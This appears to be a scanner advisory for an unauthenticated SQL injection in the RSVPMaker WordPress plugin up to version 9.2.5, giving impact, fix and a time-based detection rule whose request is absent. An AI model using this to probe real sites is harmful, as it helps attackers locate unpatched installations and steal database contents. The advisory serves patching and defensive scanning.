Readycheck to confirm it

The RSVPMaker plugin for WordPress is vulnerable to unauthenticated SQL Injection due to missing SQL escaping and parameterization on user supplied data passed to a SQL query in the rsvpmaker-util.php file. This makes it possible for unauthenticated attackers to steal sensitive information from the database in versions up to and including 9.2.5.

Impact

Attackers can retrieve sensitive data from the database without authentication, leading to data breach and privacy violations.

Fix

Update to version 9.2.6, or later

How to confirm it

Send: @timeout: 30s
Positive when: duration >= 7 and status_code == 200 and regex("false$", body) and contains(content_type, "application/json")
